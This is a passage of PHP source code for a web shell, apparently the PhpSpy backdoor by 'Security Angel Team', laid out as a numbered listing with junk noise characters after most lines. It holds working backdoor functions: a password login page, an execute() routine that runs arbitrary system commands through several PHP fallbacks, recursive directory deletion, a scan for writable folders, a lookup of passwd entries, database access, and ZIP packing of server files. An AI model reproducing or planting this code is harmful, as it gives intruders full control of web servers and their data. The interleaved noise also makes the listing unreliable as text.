1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
      
1274.                 15 => array('enable_dl',getcfg('enable_dl')),
      
1275.                 16 => array('display_errors',getcfg('display_errors')),
      
1276.                 17 => array('register_globals',getcfg('register_globals')),
      
1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
      
1278.                 19 => array('memory_limit',getcfg('memory_limit')),
      
1279.                 20 => array('post_max_size',getcfg('post_max_size')),
      
1280.                 21 => array('upload_max_filesize',$upsize),
      & y* \9 j8 F* ]5 j7 R9 J
1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      
1282.                 23 => array('disable_functions',$dis_func),
      * T$ }% w) J4 w3 B7 l
1283.         );
      6 ]% K' l* w* U, t' I( X
1284. 
      7 l) h6 u& A& c3 [( A
1285.         if($phpvarname) {
      
1286.                 m($phpvarname .' : '.getcfg($phpvarname));
      - \" Q/ l0 D" G/ `) n8 q; n
1287.         }
      
1288. 
      
1289.         formhead(array('title'=>'Server environment'));
      " p) _9 {6 R. z3 j* h1 Q
1290.         makehide('action','phpenv');
      * M& T/ W1 J2 _( g4 N
1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
      
1292.         formfooter();
      ; {9 y. H, y; e' G1 @3 t; N
1293. 
      
1294.         $hp = array(0=> 'Server', 1=> 'PHP');
      
1295.         for($a=0;$a<2;$a++) {
      / m/ V1 D: C0 Y# q5 m
1296.                 p('<h2>'.$hp[$a].' »</h2>');
      
1297.                 p('<ul class="info">');
      
1298.                 if ($a==0) {
      
1299.                         for($i=1;$i<=9;$i++) {
      
1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      ! _" D$ }' K. ]: F
1301.                         }
      
1302.                 } elseif ($a == 1) {
      
1303.                         for($i=10;$i<=23;$i++) {
      
1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      2 G  r7 r- `! j/ k& C
1305.                         }
      + ^9 m5 G* u9 U/ I! I
1306.                 }
      
1307.                 p('</ul>');
      - b( L' x2 s  e6 _
1308.         }
      - a  z) j( H  H4 j
1309. }//end phpenv
      1 G" F8 {1 i8 V9 A$ X
1310. 
      
1311. else {
      ) E" K9 }- K' v/ k8 t3 i0 _8 N$ V
1312.         m('Undefined Action');
      
1313. }
      2 l5 D7 E% D1 |6 Z- Y
1314. 
      8 e0 a( D1 j( U  l9 O3 n( N. Q
1315. ?>
      
1316. </td></tr></table>
      
1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
      
1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      
1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
      0 ]  }8 b+ D6 K' [2 i
1320. </div>
      9 t* K3 H1 q  S" f% T% x2 `
1321. </body>
      ) `0 L# U2 p9 v1 a* ~
1322. </html>
      
1323. 
      
1324. <?php
      
1325. 
      
1326. /*======================================================
      2 M/ {* @9 P( [3 e
1327. 函数库
      
1328. ======================================================*/
      
1329. 
      
1330. function m($msg) {
      : p9 x: m. i6 L  }! ^1 `
1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
      
1332.         echo $msg;
      , C& z( X' r! h$ r0 L3 ]8 r
1333.         echo '</div>';
      - _  V  ]7 R' C! u, ~/ |3 r
1334. }
      
1335. function scookie($key, $value, $life = 0, $prefix = 1) {
      5 f# ], d3 O; n
1336.         global $admin, $timestamp, $_SERVER;
      
1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
      ; w/ M- X9 M. R4 Q6 A
1338.         $life = $life ? $life : $admin['cookielife'];
      
1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
      
1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
      5 Q' l+ F/ f0 O9 N. i
1341. }       
      
1342. function multi($num, $perpage, $curpage, $tablename) {
      
1343.         $multipage = '';
      % Q' U6 V' L$ u7 s
1344.         if($num > $perpage) {
      
1345.                 $page = 10;
      
1346.                 $offset = 5;
      
1347.                 $pages = @ceil($num / $perpage);
      
1348.                 if($page > $pages) {
      
1349.                         $from = 1;
      # x  E2 b+ D) G' O$ b1 x
1350.                         $to = $pages;
        f9 J5 W: p; |  S# A: {  b# z
1351.                 } else {
      
1352.                         $from = $curpage - $offset;
      
1353.                         $to = $curpage + $page - $offset - 1;
      
1354.                         if($from < 1) {
      
1355.                                 $to = $curpage + 1 - $from;
      
1356.                                 $from = 1;
      5 A3 a& O' X0 o, G4 m9 }/ B
1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1358.                                         $to = $page;
      
1359.                                 }
      
1360.                         } elseif($to > $pages) {
      . {% Q  K. }1 |& s) J9 {/ x
1361.                                 $from = $curpage - $pages + $to;
      
1362.                                 $to = $pages;
      - n- }5 u- v+ P3 b6 g
1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1364.                                         $from = $pages - $page + 1;
      5 y9 C: |7 V* x( n
1365.                                 }
      
1366.                         }
      
1367.                 }
      3 z% s: b" b, z! Q' A$ r* P  v* d
1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      
1369.                 for($i = $from; $i <= $to; $i++) {
      
1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
      9 T' G7 b+ k' D5 D) [
1371.                 }
      6 P9 W# R2 K2 A/ B5 a
1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
      $ j3 S" o5 n+ {2 h* d* P/ R
1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
      . p. {# ?, T8 q: `4 s3 u
1374.         }
      3 \3 M1 n( ]" H  s( B! L* d- `
1375.         return $multipage;
      
1376. }
      
1377. // 登陆入口
      . x: u% E! `# F# l& F
1378. function loginpage() {
      
1379. ?>
      4 B$ q$ A' F/ }1 j7 f7 `
1380.         <style type="text/css">
      " B7 h  a& U% u
1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      
1382.         </style>
      
1383.         <form method="POST" action="">
      
1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
      
1385.         <input type="hidden" name="doing" value="login">
      4 U$ Q# s: t: v9 }0 N* }
1386.         <input type="submit" value="Login">
      ! Q: O1 P  k( K* o: d8 o5 X
1387.         </form>
      ( C5 D% ~9 b/ e- A" c( Z2 ?$ `: L
1388. <?php
      
1389.         exit;
      
1390. }//end loginpage()
      
1391. 
      
1392. function execute($cfe) {
      ) L  [) K5 C" q+ v
1393.         $res = '';
      % `, v0 Z( l8 x
1394.         if ($cfe) {
      
1395.                 if(function_exists('exec')) {
      4 M* @3 t8 M, Z; M5 X. z
1396.                         @exec($cfe,$res);
      7 W+ [: b& S& k. Y! |
1397.                         $res = join("\n",$res);
      
1398.                 } elseif(function_exists('shell_exec')) {
      ; C) c# q& A  _4 L# _& ]4 I
1399.                         $res = @shell_exec($cfe);
      
1400.                 } elseif(function_exists('system')) {
      . ~$ E- S1 L7 H  O
1401.                         @ob_start();
      7 B8 |9 n" D9 v% m5 l0 J
1402.                         @system($cfe);
      & T% O2 t; k6 r7 I$ a& j9 c( h/ v
1403.                         $res = @ob_get_contents();
      / Y* S3 h' L  c0 a7 C& b
1404.                         @ob_end_clean();
      5 T' E# u% g: O- G# `1 j* g
1405.                 } elseif(function_exists('passthru')) {
      8 ~+ {! L+ Z3 J" V4 h2 ]. H
1406.                         @ob_start();
      
1407.                         @passthru($cfe);
      
1408.                         $res = @ob_get_contents();
      
1409.                         @ob_end_clean();
      $ x, D  Y  o5 \! e4 h2 N: p
1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
      
1411.                         $res = '';
      
1412.                         while(!@feof($f)) {
      * U8 x+ q1 Y5 f; U0 W" S/ u$ u; @
1413.                                 $res .= @fread($f,1024);
      ) P8 L4 R( m6 h0 p* x
1414.                         }
      
1415.                         @pclose($f);
      % v6 c: q$ f' V5 K/ a
1416.                 }
      
1417.         }
      ! _( p5 S  \6 x* R, ~
1418.         return $res;
      
1419. }
      
1420. function which($pr) {
      
1421.         $path = execute("which $pr");
      
1422.         return ($path ? $path : $pr);
      ( K+ F2 L# ]. z4 x' v& d+ ~
1423. }
      % j. p; V( U1 H6 Y
1424. 
      & c  Q* Z* G. S& A
1425. function cf($fname,$text){
      
1426.         if($fp=@fopen($fname,'w')) {
      
1427.                 @fputs($fp,@base64_decode($text));
      
1428.                 @fclose($fp);
      
1429.         }
      ' G  T- w: I( \) W, X
1430. }
      & M1 V7 j  P9 V: m" R# V* V* W
1431. 
      
1432. // 页面调试信息
      
1433. function debuginfo() {
      2 p1 O3 ?2 n5 E- v6 j8 `% S
1434.         global $starttime;
      
1435.         $mtime = explode(' ', microtime());
      
1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      1 R. X/ I  w' f3 a7 t  n
1437.         echo 'Processed in '.$totaltime.' second(s)';
      
1438. }
      8 p* }8 n# {# _! {; Q
1439. 
      
1440. //连接数据库
      
1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      
1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
      ; m) ?/ z) }# h8 ^
1443.                 p('<h2>Can not connect to MySQL server</h2>');
      
1444.                 exit;
      
1445.         }
      
1446.         if($link && $dbname) {
      
1447.                 if (!@mysql_select_db($dbname, $link)) {
      : J& S% x; n# X1 U
1448.                         p('<h2>Database selected has error</h2>');
      2 d& S1 b, s% k6 Y$ N6 ]$ t
1449.                         exit;
      % T1 y: _0 M7 r6 [$ Q3 A- ~
1450.                 }
      
1451.         }
      
1452.         if($link && mysql_get_server_info() > '4.1') {
      % s2 ^7 _0 v, O
1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
      - ~5 N( G6 I  [, k3 G' `+ d; l
1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
      
1455.                 }
      + q, }. y# t6 `9 Z5 o& M  ~% {; d5 m
1456.         }
      9 d! m, H5 x2 Q3 W" ]' X; I
1457.         return $link;
      ; N$ R5 k- r$ F) V; x
1458. }
      1 @7 C8 A6 ^; E3 s4 G+ h/ P- Y9 z
1459. 
      . s% ^/ l) n+ f+ X* k0 u0 j6 B( n
1460. // 去掉转义字符
      9 Z$ Q% b2 ]1 L7 k  E' p# Y
1461. function s_array(&$array) {
      
1462.         if (is_array($array)) {
      
1463.                 foreach ($array as $k => $v) {
      
1464.                         $array[$k] = s_array($v);
      
1465.                 }
      
1466.         } else if (is_string($array)) {
      
1467.                 $array = stripslashes($array);
      ( q3 m+ o- k8 ^4 e% @# b  c
1468.         }
      
1469.         return $array;
      
1470. }
      ' P; @/ q9 L( G1 Z. _: }
1471. 
      % `( I5 {, }6 ~8 O8 G( X& L
1472. // 清除HTML代码
      
1473. function html_clean($content) {
      
1474.         $content = htmlspecialchars($content);
      
1475.         $content = str_replace("\n", "<br />", $content);
      : `" D. P! }# ]) g6 M" y
1476.         $content = str_replace("  ", "  ", $content);
      
1477.         $content = str_replace("\t", "    ", $content);
      
1478.         return $content;
      
1479. }
      : d' f9 C- [# O" B) u
1480. 
      1 ?7 l7 C5 S$ n' H1 R$ }
1481. // 获取权限
      
1482. function getChmod($filepath){
      
1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
      
1484. }
      ' t6 I5 i( h0 I! c
1485. 
      
1486. function getPerms($filepath) {
      1 I" j6 @! ~9 i& o" K! C. c$ G
1487.         $mode = @fileperms($filepath);
      
1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
      
1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
      
1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
      4 H6 `* h: M' [3 Z: [7 d
1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
      
1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
      
1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
      9 a( m% d$ `/ k2 C% \1 ^
1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
      6 k: \* `: n3 y; s; z
1495.         else {$type = '?';}
      0 T* F$ F1 i+ F0 a$ m3 z
1496. 
      
1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
      
1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      4 C* }5 ?& t! [
1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
      9 Z5 o9 ?& N( h0 S* i$ j- f+ c0 b4 r4 S
1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
      , F, m& h) F: T3 o" A% j3 N
1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      
1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
      
1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
      
1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
      3 i- l- S9 P2 ~: e8 w; C
1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
      
1506. 
      
1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      
1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
      0 h  b# U: a+ Y
1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
      
1510. 
      
1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
      7 P  @. X( k6 a) I
1512. }
      
1513. 
      * [- ]* k( P' Z( [. X5 R* S* [
1514. function getUser($filepath)        {
      * K7 \* B, B9 c' g/ r5 |
1515.         if (function_exists('posix_getpwuid')) {
      
1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      5 y( e8 S' J5 [" q) d; W
1517.                 if ($array && is_array($array)) {
      
1518.                         return ' / <a href="#" title="User: '.$array['name'].'
        i) r  \$ k' a" Z7 N
1519. Passwd: '.$array['passwd'].'
      
1520. Uid: '.$array['uid'].'
      % v/ g- o6 K! A& O7 G( m
1521. gid: '.$array['gid'].'
      
1522. Gecos: '.$array['gecos'].'
      ' T; o* A6 B, H' {4 M% w) k
1523. Dir: '.$array['dir'].'
      - R5 @3 {1 s" {8 N! f
1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      2 e! _0 O& O- |+ U
1525.                 }
        N! X$ ~3 d+ q% w
1526.         }
      
1527.         return '';
      
1528. }
      
1529. 
      
1530. // 删除目录
      
1531. function deltree($deldir) {
      9 ~" {; i  h% P! u: o
1532.         $mydir=@dir($deldir);       
      
1533.         while($file=$mydir->read())        {                
      - d; G! }+ C! d
1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
      + w. H0 i" h3 J" i' _2 A8 y. f
1535.                         @chmod($deldir.'/'.$file,0777);
      
1536.                         deltree($deldir.'/'.$file);
      
1537.                 }
      
1538.                 if (is_file($deldir.'/'.$file)) {
      5 M. d+ W9 n- \5 Q- W
1539.                         @chmod($deldir.'/'.$file,0777);
      ; Q+ O' B4 ?% o  V
1540.                         @unlink($deldir.'/'.$file);
      
1541.                 }
      
1542.         }
      
1543.         $mydir->close();
      
1544.         @chmod($deldir,0777);
      
1545.         return @rmdir($deldir) ? 1 : 0;
      / r' Z  \4 `2 Z, Q3 F* B6 K
1546. }
      7 Q/ U. s/ J+ X- o
1547. 
      
1548. // 表格行间的背景色替换
      / U$ Z' {4 z. M
1549. function bg() {
      
1550.         global $bgc;
      
1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
      5 t( W4 X0 f& D- E( A. S4 f
1552. }
      ; R) b( {5 P/ H; Y( F
1553. 
      
1554. // 获取当前的文件系统路径
      
1555. function getPath($scriptpath, $nowpath) {
      
1556.         if ($nowpath == '.') {
      4 I8 C" n: z: ]3 H5 I; M" s; C9 u0 @1 L
1557.                 $nowpath = $scriptpath;
      : @# K! O) V7 F7 m7 s; V1 l: ]
1558.         }
      
1559.         $nowpath = str_replace('\\', '/', $nowpath);
      0 C! x! T4 [# |1 q
1560.         $nowpath = str_replace('//', '/', $nowpath);
      
1561.         if (substr($nowpath, -1) != '/') {
      
1562.                 $nowpath = $nowpath.'/';
      ' K4 D4 t0 n# x' R9 x
1563.         }
      
1564.         return $nowpath;
      
1565. }
      * m" E: k1 a; [* A+ j& m" w
1566. 
      
1567. // 获取当前目录的上级目录
      
1568. function getUpPath($nowpath) {
      2 t+ M; x$ H: F6 _& j! X" b1 n
1569.         $pathdb = explode('/', $nowpath);
      
1570.         $num = count($pathdb);
      
1571.         if ($num > 2) {
      
1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
      
1573.         }
      ! m# E5 G& m; L" W1 \9 _
1574.         $uppath = implode('/', $pathdb).'/';
      5 I/ b7 I, g+ y) `* Y
1575.         $uppath = str_replace('//', '/', $uppath);
        r1 A6 p' c2 B1 k( \
1576.         return $uppath;
      
1577. }
      
1578. 
      
1579. // 检查PHP配置参数
      3 R0 s$ u- Z2 L8 |4 c! b
1580. function getcfg($varname) {
      
1581.         $result = get_cfg_var($varname);
      0 P. J8 V* w# h5 ]
1582.         if ($result == 0) {
      * [8 }0 N8 N1 t/ d
1583.                 return 'No';
      
1584.         } elseif ($result == 1) {
      
1585.                 return 'Yes';
      " D! }9 o# Y# Y3 C* l- @( \7 e3 m' O
1586.         } else {
      
1587.                 return $result;
      
1588.         }
      2 b2 O; c6 D1 s: b' X+ }8 u+ o
1589. }
      ( ^1 R. |. v2 g$ m- }
1590. 
      " V" u/ z2 {" W6 J) X; f$ l
1591. // 检查函数情况
      
1592. function getfun($funName) {
      " }2 S: d$ [0 G! t/ e# O
1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
      
1594. }
      1 P- O& R8 ?* G! x9 `
1595. 
      7 f7 E3 v+ n& c3 n' x
1596. function GetList($dir){
      
1597.         global $dirdata,$j,$nowpath;
      , p8 G9 b7 Z% ?, l% j
1598.         !$j && $j=1;
      
1599.         if ($dh = opendir($dir)) {
      , m2 m2 v5 n' j; X5 I2 K) X& k
1600.                 while ($file = readdir($dh)) {
      
1601.                         $f=str_replace('//','/',$dir.'/'.$file);
      - L3 H  ~$ _; l4 ^. H- m7 L1 d# |
1602.                         if($file!='.' && $file!='..' && is_dir($f)){
      
1603.                                 if (is_writable($f)) {
      3 s& O' Q  @, L9 \/ r
1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
      5 ]4 R% U/ V/ W" P) A
1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
      1 w, u# i( f  U
1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      % J- q' l0 e1 S0 `7 [! b
1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
      
1608.                                         $dirdata[$j]['dirlink']=ue($dir);
      
1609.                                         $dirdata[$j]['server_link']=$f;
      
1610.                                         $dirdata[$j]['client_link']=ue($f);
      
1611.                                         $j++;
      
1612.                                 }
      ! T; q2 v  L$ N5 a. {: _8 t
1613.                                 GetList($f);
      
1614.                         }
      
1615.                 }
      
1616.                 closedir($dh);
      % g6 r* x) {, ~/ G2 S
1617.                 clearstatcache();
      
1618.                 return $dirdata;
        L* D4 b- n$ J: E$ k
1619.         } else {
      , C6 j! P) j: \1 H6 ~' p) t% Z" J# {
1620.                 return array();
      7 M( I+ C* ~( O( ~& K% s
1621.         }
      6 j4 B5 K1 Y4 F- e. B
1622. }
      
1623. 
      / Y' M' F& a; F! `% z/ d
1624. function qy($sql) {
      
1625.         //echo $sql.'<br>';
      $ E$ `/ B3 D% a- d5 G9 r/ R
1626.         $res = $error = '';
      " O8 T* ]4 ^. `3 {, v
1627.         if(!$res = @mysql_query($sql)) {
      3 d' j8 Z2 Y2 }1 R; [& u$ @
1628.                 return 0;
      
1629.         } else if(is_resource($res)) {
      , u) I, s3 R( Y' O  @
1630.                 return 1;
      . \$ y; V, F2 x$ P5 i. O9 m
1631.         } else {
        V; ]& g9 w. q8 k7 d
1632.                 return 2;
      9 U( D3 Z7 }2 _& B
1633.         }       
      + z3 S4 V. G" E9 O3 s+ U
1634.         return 0;
      
1635. }
      9 R  k! d5 y7 K* L% }6 F9 H( }' Y
1636. 
      
1637. function q($sql) {
      
1638.         return @mysql_query($sql);
      
1639. }
      3 f/ H0 I2 z+ V, ~& a4 }7 t
1640. 
      . l7 |+ D  w0 c; `% E& E
1641. function fr($qy){
      
1642.         mysql_free_result($qy);
      
1643. }
      
1644. 
      % ^( h, Z6 a# }: m( S
1645. function sizecount($size) {
      
1646.         if($size > 1073741824) {
      6 y1 v! F, x5 |( e) b& V
1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
      6 b/ b) i# d2 j% E
1648.         } elseif($size > 1048576) {
      
1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      
1650.         } elseif($size > 1024) {
      
1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
      
1652.         } else {
      
1653.                 $size = $size . ' B';
      
1654.         }
      
1655.         return $size;
      * d! W1 M3 R( u$ T
1656. }
      
1657. 
      % ?% I+ Y* g0 N/ i) A- Y; G
1658. // 压缩打包类
      " N$ z' x% I5 n: Z8 X( t- l
1659. class PHPZip{
      
1660.         var $out='';
      # u$ \  c- ]! \4 k- {
1661.         function PHPZip($dir)        {
      & i- j& C% c- M1 g- A
1662.                 if (@function_exists('gzcompress'))        {
      1 O; {+ D) L* q" ?; I3 T
1663.                         $curdir = getcwd();
      7 H2 L0 ]5 i$ ]; F1 O4 G  I7 |
1664.                         if (is_array($dir)) $filelist = $dir;
      , C! ~0 i, V6 k; ?
1665.                         else{
      2 y' W1 f( ?9 b% D8 Q1 Z5 x
1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
      
1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
      
1668.                         }
        ?* k1 _% ~1 B% w6 u7 K% ?& d
1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
      
1670.                         else chdir($curdir);
      
1671.                         if (count($filelist)>0){
      : N3 V- |; K' w9 Z0 d6 O& F4 H6 \
1672.                                 foreach($filelist as $filename){
      
1673.                                         if (is_file($filename)){
      
1674.                                                 $fd = fopen ($filename, 'r');
      
1675.                                                 $content = @fread ($fd, filesize($filename));
      - f3 I' Q+ ~6 u; p( Q
1676.                                                 fclose ($fd);
      % S" k% u% R" M0 l2 ]1 M; S
1677.                                                 if (is_array($dir)) $filename = basename($filename);
      
1678.                                                 $this -> addFile($content, $filename);
      % F6 F1 C; E" `
1679.                                         }
        j9 I2 m/ t# {  `
1680.                                 }
      
1681.                                 $this->out = $this -> file();
      ' ~5 g6 @9 J/ Q' b1 \
1682.                                 chdir($curdir);
      
1683.                         }
      
1684.                         return 1;
      
1685.                 }
      8 H7 o. ~* B5 X# r& h% {. h
1686.                 else return 0;
      / @, a2 f! g7 @# G; W+ q$ @
1687.         }
      % k+ H0 M4 h/ E: r
1688. 
      7 p, P$ l  v9 V
1689.         // 获得指定目录文件列表
      
1690.         function GetFileList($dir){
      
1691.                 static $a;
      0 Y+ R% Y) ]( \+ ?, f' O" {- W* Y4 i% F, N' V
1692.                 if (is_dir($dir)) {
      ; F* {) O2 }! Q4 t/ C
1693.                         if ($dh = opendir($dir)) {
      
1694.                                 while ($file = readdir($dh)) {
      , Q: A) j$ |0 q5 m  C3 ]
1695.                                         if($file!='.' && $file!='..'){
      
1696.                                                 $f=$dir .'/'. $file;
      
1697.                                                 if(is_dir($f)) $this->GetFileList($f);
      # s: T( s. R; a
1698.                                                 $a[]=$f;
      # `8 ?5 D# |; A6 y' c
1699.                                         }
      3 L  q7 k# g5 r
1700.                                 }
      5 ]3 d0 l6 |) _+ F; y7 q
1701.                                 closedir($dh);
      
1702.                         }
      
1703.                 }
      ) L9 f# D: o6 r
1704.                 return $a;
      ( M+ X+ O. [3 N3 H6 R5 Y& |+ r% u. y
1705.         }
      
1706. 
      
1707.         var $datasec      = array();
      
1708.         var $ctrl_dir     = array();
      
1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      5 s3 K% t. r4 O# ?
1710.         var $old_offset   = 0;
      3 g- g) ^7 z8 b2 u) W  c: I
1711. 
      
1712.         function unix2DosTime($unixtime = 0) {
      . p8 V0 D" h4 c7 N' i( O
1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      - t: a! {" o" x" K: T0 _9 k
1714.                 if ($timearray['year'] < 1980) {
      
1715.                         $timearray['year']    = 1980;
      
1716.                         $timearray['mon']     = 1;
      
1717.                         $timearray['mday']    = 1;
      6 l  C0 m: \8 O4 p
1718.                         $timearray['hours']   = 0;
      
1719.                         $timearray['minutes'] = 0;
      * x% ~, Y" j1 W- X: Q- b0 R
1720.                         $timearray['seconds'] = 0;
      9 X. Z5 l* b' D4 }
1721.                 } // end if
      
1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      0 w5 p2 v0 v7 `  ?9 _
1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      " b/ ?* n# ~- T1 l4 c! _
1724.         }
      8 P2 H7 K, k" q8 ]
1725.         function addFile($data, $name, $time = 0) {
      - p8 @: T! X* y# M4 K0 D( Z
1726.                 $name = str_replace('\\', '/', $name);
      
1727.                 $dtime = dechex($this->unix2DosTime($time));
      
1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
      
1729.                                         . '\x' . $dtime[4] . $dtime[5]
      
1730.                                         . '\x' . $dtime[2] . $dtime[3]
      , s1 q! o  k  E; N" d
1731.                                         . '\x' . $dtime[0] . $dtime[1];
      5 p* u9 o1 Q1 R
1732.                 eval('$hexdtime = "' . $hexdtime . '";');
      4 r$ e$ v# y, \0 D! M6 D7 }
1733.                 $fr        = "\x50\x4b\x03\x04";
      
1734.                 $fr        .= "\x14\x00";
      
1735.                 $fr        .= "\x00\x00";
      / f+ d* F0 W! z9 b  [1 C
1736.                 $fr        .= "\x08\x00";
      9 ?. b6 j* ^* z2 w7 n  M
1737.                 $fr        .= $hexdtime;
      
1738.                 $unc_len = strlen($data);
      - H+ R) X4 l3 `7 E
1739.                 $crc = crc32($data);
      
1740.                 $zdata = gzcompress($data);
      
1741.                 $c_len = strlen($zdata);
      ; t; O* ~% O0 m/ F: f; M
1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      2 W+ G" g& ~, {7 q9 |0 B5 F
1743.                 $fr .= pack('V', $crc);
      # e' o8 }/ `. q( S
1744.                 $fr .= pack('V', $c_len);
      
1745.                 $fr .= pack('V', $unc_len);
      ; _( ~2 ]0 N" P+ j
1746.                 $fr .= pack('v', strlen($name));
      
1747.                 $fr .= pack('v', 0);
      
1748.                 $fr .= $name;
      , a7 x3 B! j* E. d- ~% T1 {
1749.                 $fr .= $zdata;
      # O1 R; ^( X7 [4 ?7 U
1750.                 $fr .= pack('V', $crc);
      
1751.                 $fr .= pack('V', $c_len);
      
1752.                 $fr .= pack('V', $unc_len);
      
1753.                 $this -> datasec[] = $fr;
        ?  z* E8 z- Z# J' |8 ?
1754.                 $new_offset = strlen(implode('', $this->datasec));
      
1755.                 $cdrec = "\x50\x4b\x01\x02";
      ( Y; e( Q0 ?0 V$ X1 |
1756.                 $cdrec .= "\x00\x00";
      - i* F# w! r1 k6 j' S4 z
1757.                 $cdrec .= "\x14\x00";
      
1758.                 $cdrec .= "\x00\x00";
      ) R" x. _) P9 M3 {- R+ }
1759.                 $cdrec .= "\x08\x00";
      
1760.                 $cdrec .= $hexdtime;
      
1761.                 $cdrec .= pack('V', $crc);
      3 ^* ~2 T. L; {  `: j! N) s" A
1762.                 $cdrec .= pack('V', $c_len);
      # @: ]  k( n% k% k$ t
1763.                 $cdrec .= pack('V', $unc_len);
      
1764.                 $cdrec .= pack('v', strlen($name) );
      7 w* ~8 y. d; G8 X7 H* d
1765.                 $cdrec .= pack('v', 0 );
      1 D( w0 j" z9 p( w+ T9 ~8 X; p
1766.                 $cdrec .= pack('v', 0 );
      
1767.                 $cdrec .= pack('v', 0 );
      
1768.                 $cdrec .= pack('v', 0 );
      
1769.                 $cdrec .= pack('V', 32 );
      
1770.                 $cdrec .= pack('V', $this -> old_offset );
      % ?  m# h& K$ K1 Y% ]
1771.                 $this -> old_offset = $new_offset;
      5 @6 n3 H. B% I2 |9 A$ A! ?5 N
1772.                 $cdrec .= $name;
      - k& k0 t7 P( J! I" w3 F" \2 Y, t/ a
1773.                 $this -> ctrl_dir[] = $cdrec;
      / k. ^- T; e! |) R, ?3 `
1774.         }
      
1775.         function file() {
      
1776.                 $data    = implode('', $this -> datasec);
      
1777.                 $ctrldir = implode('', $this -> ctrl_dir);
      
